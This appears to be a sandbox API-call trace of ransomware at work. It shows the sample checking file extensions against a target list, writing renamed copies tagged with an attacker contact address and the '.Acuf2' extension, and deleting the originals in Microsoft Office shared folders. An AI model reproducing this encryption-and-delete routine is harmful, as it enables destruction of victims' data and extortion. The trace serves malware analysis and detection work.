	[0046.689] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1
	[0046.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0046.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0046.780] lstrlenW (lpString=".doc") returned 4
	[0046.780] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.780] lstrlenW (lpString=".docx") returned 5
	[0046.780] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0046.780] lstrlenW (lpString=".pdf") returned 4
	[0046.780] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.780] lstrlenW (lpString=".xls") returned 4
	[0046.780] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.780] lstrlenW (lpString=".xlsx") returned 5
	[0046.780] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0046.780] lstrlenW (lpString=".ppt") returned 4
	[0046.780] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0046.781] lstrlenW (lpString=".zip") returned 4
	[0046.781] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.781] lstrlenW (lpString=".rar") returned 4
	[0046.781] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.781] lstrlenW (lpString=".bz2") returned 4
	[0046.781] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.781] lstrlenW (lpString=".7z") returned 3
	[0046.781] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0046.781] lstrlenW (lpString=".dbf") returned 4
	[0046.781] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0046.781] lstrlenW (lpString=".1cd") returned 4
	[0046.781] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0046.781] lstrlenW (lpString=".jpg") returned 4
	[0046.781] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0046.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0046.781] lstrlenW (lpString=".doc") returned 4
	[0046.781] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.781] lstrlenW (lpString=".docx") returned 5
	[0046.781] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0046.781] lstrlenW (lpString=".pdf") returned 4
	[0046.781] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.781] lstrlenW (lpString=".xls") returned 4
	[0046.781] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.781] lstrlenW (lpString=".xlsx") returned 5
	[0046.781] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0046.781] lstrlenW (lpString=".ppt") returned 4
	[0046.781] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0046.782] lstrlenW (lpString=".zip") returned 4
	[0046.782] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.782] lstrlenW (lpString=".rar") returned 4
	[0046.782] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.782] lstrlenW (lpString=".bz2") returned 4
	[0046.782] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.782] lstrlenW (lpString=".7z") returned 3
	[0046.782] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0046.782] lstrlenW (lpString=".dbf") returned 4
	[0046.782] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0046.782] lstrlenW (lpString=".1cd") returned 4
	[0046.782] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0046.782] lstrlenW (lpString=".jpg") returned 4
	[0046.782] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.782] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.782] lstrlenW (lpString="VisioMUI.XML") returned 12
	[0046.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0046.879] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=9503) returned 1
	[0046.879] CloseHandle (hObject=0x204) returned 1
	[0046.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20
	[0046.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0046.879] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.880] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0046.880] GetLastError () returned 0x0
	[0046.880] ReadFile (in: hFile=0x204, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x251f, lpOverlapped=0x0) returned 1
	[0046.908] WriteFile (in: hFile=0x208, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2520, lpOverlapped=0x0) returned 1
	[0046.910] ReadFile (in: hFile=0x204, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.910] WriteFile (in: hFile=0x208, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0046.910] SetEndOfFile (hFile=0x208) returned 1
	[0046.910] CloseHandle (hObject=0x208) returned 1
	[0046.910] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.910] SetEndOfFile (hFile=0x204) returned 1
	[0046.911] CloseHandle (hObject=0x204) returned 1
	[0046.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.911] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1
	[0046.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0046.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0046.912] lstrlenW (lpString=".doc") returned 4
	[0046.912] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.912] lstrlenW (lpString=".docx") returned 5
	[0046.912] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0046.912] lstrlenW (lpString=".pdf") returned 4
	[0046.912] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.912] lstrlenW (lpString=".xls") returned 4
	[0046.912] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.912] lstrlenW (lpString=".xlsx") returned 5
	[0046.912] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0046.912] lstrlenW (lpString=".ppt") returned 4
	[0046.912] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0046.912] lstrlenW (lpString=".zip") returned 4
	[0046.912] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.912] lstrlenW (lpString=".rar") returned 4
	[0046.912] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.912] lstrlenW (lpString=".bz2") returned 4
	[0046.912] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.912] lstrlenW (lpString=".7z") returned 3
	[0046.912] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0046.912] lstrlenW (lpString=".dbf") returned 4
	[0046.912] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0046.912] lstrlenW (lpString=".1cd") returned 4
	[0046.912] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0046.913] lstrlenW (lpString=".jpg") returned 4
	[0046.913] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0046.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0046.913] lstrlenW (lpString=".doc") returned 4
	[0046.913] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.913] lstrlenW (lpString=".docx") returned 5
	[0046.913] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0046.913] lstrlenW (lpString=".pdf") returned 4
	[0046.913] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.913] lstrlenW (lpString=".xls") returned 4
	[0046.913] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.913] lstrlenW (lpString=".xlsx") returned 5
	[0046.913] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0046.913] lstrlenW (lpString=".ppt") returned 4
	[0046.913] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0046.913] lstrlenW (lpString=".zip") returned 4
	[0046.913] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.913] lstrlenW (lpString=".rar") returned 4
	[0046.913] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.913] lstrlenW (lpString=".bz2") returned 4
	[0046.913] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.913] lstrlenW (lpString=".7z") returned 3
	[0046.913] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0046.913] lstrlenW (lpString=".dbf") returned 4
	[0046.913] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0046.914] lstrlenW (lpString=".1cd") returned 4
	[0046.914] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104
	[0046.914] lstrlenW (lpString=".jpg") returned 4
	[0046.914] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.914] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.914] lstrlenW (lpString="VisiorWW.XML") returned 12
	[0046.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0047.267] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=8723) returned 1
	[0047.267] CloseHandle (hObject=0x1c0) returned 1
	[0047.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20
	[0047.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0047.267] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.267] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0047.650] GetLastError () returned 0x0
	[0047.650] ReadFile (in: hFile=0x1c0, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x2213, lpOverlapped=0x0) returned 1
	[0047.651] WriteFile (in: hFile=0x1e0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2220, lpOverlapped=0x0) returned 1
	[0047.652] ReadFile (in: hFile=0x1c0, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0047.652] WriteFile (in: hFile=0x1e0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0047.652] SetEndOfFile (hFile=0x1e0) returned 1
	[0047.653] CloseHandle (hObject=0x1e0) returned 1
	[0047.653] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0047.653] SetEndOfFile (hFile=0x1c0) returned 1
	[0047.654] CloseHandle (hObject=0x1c0) returned 1
	[0047.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0047.654] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1
	[0047.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0047.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0047.654] lstrlenW (lpString=".doc") returned 4
	[0047.654] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.654] lstrlenW (lpString=".docx") returned 5
	[0047.654] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0047.654] lstrlenW (lpString=".pdf") returned 4
	[0047.655] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.655] lstrlenW (lpString=".xls") returned 4
	[0047.655] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.655] lstrlenW (lpString=".xlsx") returned 5
	[0047.655] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0047.655] lstrlenW (lpString=".ppt") returned 4
	[0047.655] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0047.655] lstrlenW (lpString=".zip") returned 4
	[0047.655] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.655] lstrlenW (lpString=".rar") returned 4
	[0047.655] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.655] lstrlenW (lpString=".bz2") returned 4
	[0047.655] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.655] lstrlenW (lpString=".7z") returned 3
	[0047.655] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0047.655] lstrlenW (lpString=".dbf") returned 4
	[0047.655] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0047.655] lstrlenW (lpString=".1cd") returned 4
	[0047.655] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0047.655] lstrlenW (lpString=".jpg") returned 4
	[0047.655] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0047.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0047.655] lstrlenW (lpString=".doc") returned 4
	[0047.655] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0047.655] lstrlenW (lpString=".docx") returned 5
	[0047.656] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0047.656] lstrlenW (lpString=".pdf") returned 4
	[0047.656] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0047.656] lstrlenW (lpString=".xls") returned 4
	[0047.656] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0047.656] lstrlenW (lpString=".xlsx") returned 5
	[0047.656] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0047.656] lstrlenW (lpString=".ppt") returned 4
	[0047.656] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0047.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0047.656] lstrlenW (lpString=".zip") returned 4
	[0047.656] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0047.656] lstrlenW (lpString=".rar") returned 4
	[0047.656] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0047.656] lstrlenW (lpString=".bz2") returned 4
	[0047.656] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0047.656] lstrlenW (lpString=".7z") returned 3
	[0047.656] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0047.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0047.656] lstrlenW (lpString=".dbf") returned 4
	[0047.656] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0047.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0047.656] lstrlenW (lpString=".1cd") returned 4
	[0047.656] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0047.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99
	[0047.656] lstrlenW (lpString=".jpg") returned 4
	[0047.656] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0047.657] lstrcmpiW (lpString1=".emf", lpString2=".Acuf2") returned 1
	[0047.657] lstrlenW (lpString="Genko_2.emf") returned 11
	[0047.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0047.987] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=10340) returned 1
	[0047.987] CloseHandle (hObject=0x160) returned 1
	[0047.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20
	[0047.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0047.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0047.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0047.987] lstrlenW (lpString=".doc") returned 4
	[0047.987] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0047.987] lstrlenW (lpString=".docx") returned 5
	[0047.987] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1
	[0047.987] lstrlenW (lpString=".pdf") returned 4
	[0047.987] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0047.987] lstrlenW (lpString=".xls") returned 4
	[0047.987] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0047.987] lstrlenW (lpString=".xlsx") returned 5
	[0047.988] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1
	[0047.988] lstrlenW (lpString=".ppt") returned 4
	[0047.988] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
